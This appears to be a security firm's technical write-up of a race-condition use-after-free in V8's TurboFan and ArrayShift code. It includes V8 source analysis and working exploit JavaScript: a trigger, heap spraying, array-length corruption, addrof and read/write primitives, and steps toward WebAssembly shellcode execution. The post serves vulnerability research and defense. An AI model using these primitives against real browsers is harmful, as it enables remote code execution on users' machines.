This post describes a method of exploiting a race condition in the V8 JavaScript engine, version 9.1.269.33. The vulnerability affects the following versions of Chrome and Edge:
The vulnerability occurs when one of the TurboFan jobs generates a handle to an object that is being modified at the same time by the ArrayShift built-in, resulting in a use-after-free (UaF) vulnerability. Unlike traditional UaFs, this vulnerability occurs within garbage-collected memory (UaF-gc). The bug lies within the ArrayShift
built-in, as it lacks the necessary checks to prevent modifications on objects while other TurboFan jobs are running.
This post assumes the reader is familiar with all the elementary concepts needed to understand V8 internals and general exploitation. The references section contains links to blogs and documentation that describe prerequisite concepts such as TurboFan, Generational Garbage Collection, and V8 JavaScript Objects’ in-memory representation.
When the ArrayShift
built-in is called on an array object via Array.prototype.shift()
, the length and starting address of the array may be changed while a compilation and optimization (TurboFan) job in the Inlining phase executes concurrently. When TurboFan reduces an element access of this array in the form of array[0]
, the function ReduceElementLoadFromHeapConstant()
is executed on a different thread. This element access points to the address of the array being shifted via the ArrayShift
built-in. If the ReduceElementLoadFromHeapConstant()
function runs just before the shift operation is performed, it results in a dangling pointer. This is because Array.prototype.shift()
“frees” the object to which the compilation job still “holds” a reference. Both “free” and “hold” are not 100% accurate terms in this garbage collection context, but they serve the purpose of explaining the vulnerability conceptually. Later we describe these actions more accurately as “creating a filler object” and “creating a handler” respectively.
ReduceElementLoadFromHeapConstant()
is a function that is called when TurboFan tries to optimize code that loads a value from the heap, such as array[0]
. Below is an example of such code:
function main() {
let arr = new Array(500).fill(1.1);
function load_elem() {
let value = arr[0];
for (let v19 = 0; v19 ﹤ 1500; v19++) {}
}
for (let i = 0; i ﹤ 500; i++) {
load_elem();
}
}
main();
By running the code above in the d8 shell with the command ./d8 --trace-turbo-reduction
we observe, that the JSNativeContextSpecialization
optimization, to which ReduceElementLoadFromHeapConstant()
function belongs to, kicks in on node #27 by taking node #57 as its first input. Node #57 is the node for the array arr
:
$ ./d8 --trace-opt --trace-turbo-reduction /tmp/loadaddone.js
[TRUNCATED]
- Replacement of #13: JSLoadContext[0, 2, 1](3, 7) with #57: HeapConstant[0x234a0814848d ﹤JSArray[500]﹥] by reducer JSContextSpecialization
- Replacement of #27: JSLoadProperty[sloppy, FeedbackSource(#0)](57, 23, 4, 3, 28, 24, 22) with #64: CheckFloat64Hole[allow-return-hole, FeedbackSource(INVALID)](63, 63, 22) by reducer JSNativeContextSpecialization
[TRUNCATED]
Therefore, executing the Array.prototype.shift()
method on the same array, arr,
during the execution of the aforementioned TurboFan job may trigger the vulnerability. Since this is a race condition, the vulnerability may not trigger reliably. The reliability depends on the resources available for the V8 engine to use.
The following is a minimal JavaScript test case that triggers a debug check on a debug build of d8
:
function main() {
let arr = new Array(500).fill(1.1);
function bug() {
// [1]
let a = arr[0];
// [2]
arr.shift();
for (let v19 = 0; v19 < 1500; v19++) {}
}
// [3]
for (let i = 0; i < 500; i++) {
bug();
}
}
main();
The loop at [3] triggers the compilation of the bug()
function since it’s a “hot” function. This starts a concurrent compilation job for the function where [1] will force a call to ReduceElementLoadFromHeapConstant()
, to reduce the load at index 0
for a constant value. While TurboFan is running on a different thread, the main thread executes the shift operation on the same array [2], modifying it. However, this minimized test case does not trigger anything further than an assertion (via DCHECK
) on debug builds. Although the test case executes without fault on a release build, it is sufficient to understand the rest of the analysis.
The following numbered steps show the order of execution of code that results in the use-after-free. The end result, at step 8, is the TurboFan thread pointing to a freed object:
In order to achieve a dangling pointer, let’s figure out how each thread holds a reference in V8’s code.
Once the TurboFan job is fired, the following code will get executed:
// src/compiler/js-native-context-specialization.cc
Reduction JSNativeContextSpecialization::ReduceElementLoadFromHeapConstant(
Node* node, Node* key, AccessMode access_mode,
KeyedAccessLoadMode load_mode) {
[TRUNCATED]
HeapObjectMatcher mreceiver(receiver);
HeapObjectRef receiver_ref = mreceiver.Ref(broker());
[TRUNCATED]
[1]
NumberMatcher mkey(key);
if (mkey.IsInteger() &&;
mkey.IsInRange(0.0, static_cast(JSObject::kMaxElementIndex))) {
STATIC_ASSERT(JSObject::kMaxElementIndex <= kMaxUInt32);
const uint32_t index = static_cast(mkey.ResolvedValue());
base::Optional element;
if (receiver_ref.IsJSObject()) {
[2]
element = receiver_ref.AsJSObject().GetOwnConstantElement(index);
[TRUNCATED]
Since this reduction is done via ReducePropertyAccess()
there is an initial check at [1] to know whether the access to be reduced is actually in the form of an array index access and whether the receiver is a JavaScript object. After that is verified, the GetOwnConstantElement()
method is called on the receiver object at [2] to retrieve a constant element from the calculated index.
// src/compiler/js-heap-broker.cc
base::Optional﹤ObjectRef﹥ JSObjectRef::GetOwnConstantElement(
uint32_t index, SerializationPolicy policy) const {
[3]
if (data_->should_access_heap() || FLAG_turbo_direct_heap_access) {
[TRUNCATED]
[4]
base::Optional﹤FixedArrayBaseRef﹥ maybe_elements_ref = elements();
[TRUNCATED]
The code at [3] verifies whether the current caller should access the heap. The verification passes since the reduction is for loading an element from the heap. The flag FLAG_turbo_direct_heap_access
is enabled by default. Then, at [4] the elements()
method is called with the intention of obtaining a reference to the elements of the receiver object (the array). The elements()
method is shown below:
// src/compiler/js-heap-broker.cc
base::Optional JSObjectRef::elements() const {
if (data_->should_access_heap()) {
[5]
return FixedArrayBaseRef(
broker(), broker()->CanonicalPersistentHandle(object()->elements()));
}
[TRUNCATED]
// File: src/objects/js-objects-inl.h
DEF_GETTER(JSObject, elements, FixedArrayBase) {
return TaggedField::load(cage_base, *this);
}
Further down the call stack, elements()
will call CanonicalPersistentHandle()
with a reference to the elements of the receiver object, denoted by object()->elements()
at [5]. This elements()
method call is different than the previous. This one directly accesses the heap and returns the pointer within the V8 heap. It accesses the same pointer object in memory as the ArrayShift
built-in.
Finally, CanonicalPersistentHandle()
will create a Handle
reference. Handles in V8 are objects that are exposed to the JavaScript environment. The most notable property is that they are tracked by the garbage collector.
// File: src/compiler/js-heap-broker.h
template ﹤typename T﹥
Handle﹤T﹥ CanonicalPersistentHandle(T object) {
if (canonical_handles_) {
[TRUNCATED]
} else {
[6]
return Handle﹤T﹥(object, isolate());
}
}
The Handle
created at [6] is now exposed to the JavaScript environment and a reference is held while the compilation job is being executed. At this point, if any other parts of the process modify the reference, for example, forcing a free on it, the TurboFan job will hold a dangling pointer. Exploiting the vulnerability relies on this behavior. In particular, knowing the precise point when the TurboFan job runs allows us to keep the bogus pointer within our reach.
Once the code depicted in the previous section is running and it passes the point where the Handle
to the array was created, executing the ArrayShift
JavaScript function on the same array triggers the vulnerability. The following code is executed:
// File: src/builtins/builtins-array.cc
BUILTIN(ArrayShift) {
HandleScope scope(isolate);
// 1. Let O be ? ToObject(this value).
Handle receiver;
[1]
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
[TRUNCATED]
if (CanUseFastArrayShift(isolate, receiver)) {
[2]
Handle array = Handle::cast(receiver);
return *array->GetElementsAccessor()->Shift(array);
}
[TRUNCATED]
}
At [1], the receiver object (arr
in the original JavaScript test case) is assigned to the receiver
variable via the ASSIGN_RETURN_FAILURE_ON_EXCEPTION
macro. It then uses this receiver
variable [2] to create a new Handle
of the JSArray
type in order to call the Shift()
function on it.
Conceptually, the shift operation on an array performs the following modifications to the array in the V8 heap:
Two things change in memory: the pointer that denotes the start of the array is incremented, and the first element is overwritten by a filler
object (which we referred to as “freed”). The filler
is a special type of object described further below. With this picture in mind, we can continue the analysis with a clear view of what is happening in the code.
Prior to any manipulations of the array object, the following function calls are executed, passing the array (now of Handle<JSArray>
type) as an argument:
// File: src/objects/elements.cc
Handle﹤Object﹥ Shift(Handle﹤JSArray﹥ receiver) final {
[3]
return Subclass::ShiftImpl(receiver);
}
[TRUNCATED]
static Handle﹤Object﹥ ShiftImpl(Handle﹤JSArray﹥ receiver) {
[4]
return Subclass::RemoveElement(receiver, AT_START);
}
[TRUNCATED]
static Handle﹤Object﹥ RemoveElement(Handle﹤JSArray﹥ receiver,
Where remove_position) {
[TRUNCATED]
[5]
Handle﹤FixedArrayBase﹥ backing_store(receiver-﹥elements(), isolate);
[TRUNCATED]
if (remove_position == AT_START) {
[6]
Subclass::MoveElements(isolate, receiver, backing_store, 0, 1, new_length,
0, 0);
}
[TRUNCATED]
}
Shift()
at [3] simply calls ShiftImpl()
. Then, ShiftImpl()
at [4] calls RemoveElement()
, passing the index
as a second argument within the AT_START
variable. This is to depict the shift operation, reminding us that it deletes the first object (index position 0
) of an array.
Within the RemoveElement()
function, the elements()
function from the src/objects/js-objects-inl.h
file is called again on the same receiver
object and a Handle
is created and stored in the backing_store
variable. At [5] we see how the reference to the same object as the previous TurboFan job is created.
Finally, a call to MoveElements()
is made [6] in order to perform the shift operation.
// File: src/objects/elements.cc
static void MoveElements(Isolate* isolate, Handle﹤JSArray﹥ receiver,
Handle﹤FixedArrayBase﹥ backing_store, int dst_index,
int src_index, int len, int hole_start,
int hole_end) {
DisallowGarbageCollection no_gc;
[7]
BackingStore dst_elms = BackingStore::cast(*backing_store);
if (len ﹥ JSArray::kMaxCopyElements && dst_index == 0 &&
[8]
isolate-﹥heap()-﹥CanMoveObjectStart(dst_elms)) {
dst_elms = BackingStore::cast(
[9]
isolate-﹥heap()-﹥LeftTrimFixedArray(dst_elms, src_index));
[TRUNCATED]
In MoveElements()
, the variables dst_index
and src_index
hold the values 0
and 1
respectively, since the shift operation will shift all the elements of the array from index 1
, and place them starting at index 0, effectively removing position 0 of the array. It starts by casting the backing_store
variable to a BackingStore
object and storing it in the dst_elms
variable [7]. This is done to execute the CanMoveObjectStart()
function, which checks whether the array can be moved in memory [8].
This check function is where the vulnerability resides. The function does not check whether other compilation jobs are running. If such a check passes, dst_elms
(the reference to the elements) of the target array, will be passed onto LeftTrimFixedArray(),
which will perform modifying operations on it.
// File: src/heap/heap.cc
[10]
bool Heap::CanMoveObjectStart(HeapObject object) {
if (!FLAG_move_object_start) return false;
// Sampling heap profiler may have a reference to the object.
if (isolate()-﹥heap_profiler()-﹥is_sampling_allocations()) return false;
if (IsLargeObject(object)) return false;
// We can move the object start if the page was already swept.
return Page::FromHeapObject(object)-﹥SweepingDone();
}
In a vulnerable V8 version, we can see that while the CanMoveObjectStart()
function at [10] checks for things such as the profiler holding references to the object or the object being a large object, the function does not contain any checks for concurrent compilation jobs. Therefore all checks will pass and the function will return True
, leading to the LeftTrimFixedArray()
function call with dst_elms
as the first argument.
// File: src/heap/heap.cc
FixedArrayBase Heap::LeftTrimFixedArray(FixedArrayBase object,
int elements_to_trim) {
[TRUNCATED]
const int element_size = object.IsFixedArray() ? kTaggedSize : kDoubleSize;
const int bytes_to_trim = elements_to_trim * element_size;
[TRUNCATED]
[11]
// Calculate location of new array start.
Address old_start = object.address();
Address new_start = old_start + bytes_to_trim;
[TRUNCATED]
[12]
CreateFillerObjectAt(old_start, bytes_to_trim,
MayContainRecordedSlots(object)
? ClearRecordedSlots::kYes
: ClearRecordedSlots::kNo);
[TRUNCATED]
#ifdef ENABLE_SLOW_DCHECKS
if (FLAG_enable_slow_asserts) {
// Make sure the stack or other roots (e.g., Handles) don't contain pointers
// to the original FixedArray (which is now the filler object).
SafepointScope scope(this);
LeftTrimmerVerifierRootVisitor root_visitor(object);
ReadOnlyRoots(this).Iterate(&root_visitor);
[13]
IterateRoots(&root_visitor, {});
}
#endif // ENABLE_SLOW_DCHECKS
[TRUNCATED]
}
At [11] the address of the object
, given as the first argument to the function, is stored in the old_start
variable. The address is then used to create a Filler
object [12]. Fillers, in garbage collection, are a special type of object that serves the purpose of denoting a free space without actually freeing it, but with the intention of ensuring that there is a contiguous space of objects for a garbage collection cycle to iterate over. Regardless, a Filler
object denotes a free space that can later be reclaimed by other objects. Therefore, since the compilation job also has a reference to this object’s address, the optimization job now points to a Filler
object which, after a garbage collection cycle, will be a dangling pointer.
For completion, the marker at [13] shows the place where debug builds would bail out. The IterateRoots()
function takes a variable created from the initial object (dst_elms
) as an argument, which is now a Filler,
and checks whether there is any other part in V8 that is holding a reference to it. In the case there is a running compilation job holding said reference, this function will crash the process on debug builds.
Exploiting this vulnerability involves the following steps:
barr
and forcing a compilation job at the same time as the ArrayShift
built-in is called.addrof
, read
, and write
primitives.main
function, then overwriting the main
exported function’s shellcode.main
function, running the previously overwritten shellcode.After reclaiming memory, there’s the need to find certain markers in memory, as the objects that reclaim memory might land at different offsets every time. Due to this, should the exploit fail to reproduce, it needs to be restarted to either win the race or correctly find the objects in the reclaimed space. The possible causes of failure are losing the race condition or the spray not being successful at placing objects where they’re needed.
Again, let’s start with a test case that triggers an assert in debug builds. The following JavaScript code triggers the vulnerability, crashing the engine on debug builds via a DCHECK_NE statement:
function trigger() {
[1]
let buggy_array_size = 120;
let PUSH_OBJ = [324];
let barr = [1.1];
for (let i = 0; i ﹤ buggy_array_size; i++) barr.push(PUSH_OBJ);
function dangling_reference() {
[2]
barr.shift();
for (let i = 0; i ﹤ 10000; i++) { console.i += 1; }
let a = barr[0];
[3]
function gcing() {
const v15 = new Uint8ClampedArray(buggy_array_size*0x400000);
}
let gcit = gcing();
for (let v19 = 0; v19 ﹤ 500; v19++) {}
}
[4]
for (let i = 0; i ﹤ 4; i++) {
dangling_reference();
}
}
trigger();
Trigerring the vulnerabiliy comprises the following steps:
barr
is created by pushing objects PUSH_OBJ
into it. These serve as a marker at later stages.barr
array. A for loop triggers the compilation early, and a value from the array is loaded to trigger the right optimization reduction.gcing()
function is responsible for triggering a garbage collection after each iteration. When the vulnerability is triggered, the reference to barr
is freed. A dangling pointer is then held at this point.Filler
object is obtained only at this iteration.The next excerpt of the code explains how the freed memory is reclaimed by the desired arrays in the full exploit. The goal of the following code is to get the elements of barr
to point to the tmpfarr
and tmpMarkerArray
objects in memory, so that the length can be corrupted to finally build the exploit primitives.
The above image shows how the elements of the barr
array are altered throughout the exploit. We can see how, in the last state, barr
‘s elements point to the in-memory JSObjects tmpfarr
and tmpArrayMarker
, which will allow corrupting their lengths via statements like barr[2] = 0xffff
. Bear in mind that the images are not comprehensive. JSObjects represented in memory contain fields, such as Map
or array length
, that are not shown in the above image. Refer to the References section for details on complete structures.
let size_to_search = 0x8c;
let next_size_to_search = size_to_search+0x60;
let arr_search = [];
let tmparr = new Array(Math.floor(size_to_search)).fill(9.9);
let tmpMarkerArray = new Array(next_size_to_search).fill({
a: placeholder_obj, b: placeholder_obj, notamarker: 0x12341234, floatprop: 9.9
});
let tmpfarr= [...tmparr];
let new_corrupted_length = 0xffff;
for (let v21 = 0; v21 ﹤ 10000; v21++) {
[1]
arr_search.push([...tmpMarkerArray]);
arr_search.push([...tmpfarr]);
[2]
if (barr[0] != PUSH_OBJ) {
for (let i = 0; i ﹤ 100; i++) {
[3]
if (barr[i] == size_to_search) {
[4]
if (barr[i+12] != next_size_to_search) continue;
[5]
barr[i] = new_corrupted_length;
break;
}
}
break;
}
}
for (let i = 0; i ﹤ arr_search.length; i++) {
[6]
if (arr_search[i]?.length == new_corrupted_length) {
return [arr_search[i], {
a: placeholder_obj, b: placeholder_obj, findme: 0x11111111, floatprop: 1.337
}];
}
}
In the following, we describe the above code that alters barr
‘s element as shown in the previous figure.
tmpfarr
and tmpMarkerArray
).barr
now points to some other part of memory.tmpfarr
array.tmpMarkerArray
.tmpfarr
is then overwritten at [5] with a large value, so that it can be used to craft the exploit primitives.length
property. One thing to note is the optional chaining ?
. This is needed here because arr_search[i]
might be an undefined value without the length
property, breaking JavaScript execution. Once found, the corrupted array is returned.Once the length of an array has been corrupted, it allows reading and writing out-of-bounds within the V8 heap. Certain constraints apply, as reading too far could cause the exploit to fail. Therefore a cleaner way to read-write within the V8 heap and to implement exploit primitives such as addrof is needed.
[1]
for (let i = size_to_search; i ﹤ new_corrupted_length/2; i++) {
[2]
for (let spray = 0; spray ﹤ 50; spray++) {
let local_findme = {
a: placeholder_obj, b: placeholder_obj, findme: 0x11111111, floatprop: 1.337, findyou:0x12341234
};
objarr.push(local_findme);
function gcing() {
const v15 = new String("Hello, GC!");
}
gcing();
}
if (marker_idx != -1) break;
[3]
if (f2string(cor_farr[i]).includes("22222222")){
print(`Marker at ${i} =﹥ ${f2string(cor_farr[i])}`);
let aux_ab = new ArrayBuffer(8);
let aux_i32_arr = new Uint32Array(aux_ab);
let aux_f64_arr = new Float64Array(aux_ab);
aux_f64_arr[0] = cor_farr[i];
[4]
if (aux_i32_arr[0].toString(16) == "22222222") {
aux_i32_arr[0] = 0x44444444;
} else {
aux_i32_arr[1] = 0x44444444;
}
cor_farr[i] = aux_f64_arr[0];
[5]
for (let j = 0; j ﹤ objarr.length; j++) {
if (objarr[j].findme != 0x11111111) {
leak_obj = objarr[j];
if (leak_obj.findme != 0x11111111) {
print(`Found right marker at ${i}`);
marker_idx = i;
break;
}
}
}
break;
}
}
cor_farr
. Note that this is one of the parts of potential failure in the exploit. Traversing too far into the corrupted array will likely result in a crash due to reading past the boundaries of the memory page. Thus, a value such as new_corrupted_length/2
was selected at the time of development which was the output of several tests.local_findme
object right in the memory pointed by cor_farr
. Furthermore, garbage collection is triggered in order to trigger compaction of the newly sprayed objects with the intention of making them adjacent to cor_farr
elements.f2string
converts the float value of cor_farr[i]
to a string value. This is then checked against the value 22222222
because V8 represents small integers in memory with the last bit set to 0 by left shifting the actual value by one. So 0x11111111 << 1 == 0x22222222
which is the memory value of the small integer property local_findme.findme
. Once the marker value is found, several “array views” (Typed Arrays) are constructed in order to change the 0x22222222
part and not the rest of the float value. This is done by creating a 32-bit view aux_i32_arr
and a 64-bit aux_f64_arr
view on the same buffer aux_ab
.0x44444444
by using the auxiliary array views.objarr
array is traversed in order to find the changed marker and the index marker_idx
is saved. This index and leak_obj
are used to craft exploit primitives within the V8 heap.The following sections are common to most V8 exploits and are easily accessible from other write-ups. We describe these exploit primitives to explain the caveat of having to deal with the fact that the spray might have resulted in the objects being unaligned in memory.
function v8h_addrof(obj) {
[1]
leak_obj.a = obj;
leak_obj.b = obj;
let aux_ab = new ArrayBuffer(8);
let aux_i32_arr = new Uint32Array(aux_ab);
let aux_f64_arr = new Float64Array(aux_ab);
[2]
aux_f64_arr[0] = cor_farr[marker_idx - 1];
[3]
if (aux_i32_arr[0] != aux_i32_arr[1]) {
aux_i32_arr[0] = aux_i32_arr[1]
}
let res = BigInt(aux_i32_arr[0]);
return res;
}
The above code presents the addrof primitive and consists of the following steps:
a
and b
of leak_obj
and auxiliary array views are created in order to read from the corrupted array cor_farr
.marker_idx
. This is due to the leak_obj
having the properties next to each other in memory; therefore a
and b
precede the findme
property.a
and b
values are aligned. In case they are not, it means that only the higher 32-bits of the float value contains the address of the target object. By assigning it back to the index 0 of the aux_i32_arr
, the function is simplified and it is possible to just return the leaked value by always reading from the same index.Depending on the architecture and whether pointer compression is enabled (default on 64-bit architectures), there will be situations where it is needed to read either just a 32-bit tagged pointer (e.g. an object) or a full 64-bit address. The latter case only applies to 64-bit architectures due to the need of manipulating the backing store of a Typed Array as it will be needed to build an arbitrary read and write primitive outside of the V8 heap boundaries.
Below we only present the 64-bit architecture read/write. Their 32-bit counterparts do the same, but with the restriction of reading the lower or higher 32-bit values of the leaked 64-bit float value.
function v8h_read64(v8h_addr_as_bigint) {
let ret_value = null;
let restore_value = null;
let aux_ab = new ArrayBuffer(8);
let aux_i32_arr = new Uint32Array(aux_ab);
let aux_f64_arr = new Float64Array(aux_ab);
let aux_bint_arr = new BigUint64Array(aux_ab);
[1]
aux_f64_arr[0] = cor_farr[marker_idx];
let high = aux_i32_arr[0] == 0x44444444;
[2]
if (high) {
restore_value = aux_f64_arr[0];
aux_i32_arr[1] = Number(v8h_addr_as_bigint-4n);
cor_farr[marker_idx] = aux_f64_arr[0];
} else {
aux_f64_arr[0] = cor_farr[marker_idx+1];
restore_value = aux_f64_arr[0];
aux_i32_arr[0] = Number(v8h_addr_as_bigint-4n);
cor_farr[marker_idx+1] = aux_f64_arr[0];
}
[3]
aux_f64_arr[0] = leak_obj.floatprop;
ret_value = aux_bint_arr[0];
cor_farr[high ? marker_idx : marker_idx+1] = restore_value;
return ret_value;
}
The 64-bit architecture read consists of the following steps:
marker_idx
: if the marker is found in the lower 32-bit value via aux_i32_arr[0]
, it means that the leak_obj.floatprop
property is in the upper 32-bit (aux_i32_arr[1]
).leak_obj.floatprop
property is overwritten with the desired address provided by the argument v8h_addr_as_bigint
. In addition, 4 bytes are subtracted from the target address because V8 will add 4 with the intention of skipping the map pointer to read the float value.leak_obj.floatprop
points to the target address in the V8 heap. By reading it through the property, it is possible to obtain 64-bit values as floats and make the conversion with the auxiliary arrays.This function can also be used to write 64-bit values by adding a value to write as an extra argument and, instead of reading the property, writing to it.
function v8h_write64(what_as_bigint, v8h_addr_as_bigint) {
[TRUNCATED]
aux_bint_arr[0] = what_as_bigint;
leak_obj.floatprop = aux_f64_arr[0];
[TRUNCATED]
As mentioned at the beginning of this section, the only changes required to make these primitives work on 32-bit architectures are to use the provided auxiliary 32-bit array views such as aux_i32_arr
and only write or read on the upper or lower 32-bit, as the following snippet shows:
[TRUNCATED]
aux_f64_arr[0] = leak_obj.floatprop;
ret_value = aux_i32_arr[0];
[TRUNCATED]
The following steps to run custom shellcode on 64-bit architectures are public knowledge, but are summarized here for the sake of completion:
main
).WebAssembly.Instance.
addrof
primitiverwx
page where we can write our shellcode to.Uint8Array
type.addrof
function.rwx
page into the backing store of the Uint8Array
, located 0x28 bytes from the Uint8Array
address obtained in step 6.Uint8Array
one byte at a time. This will effectively write into the rwx
page.main
function exported in step 1.Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.
For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.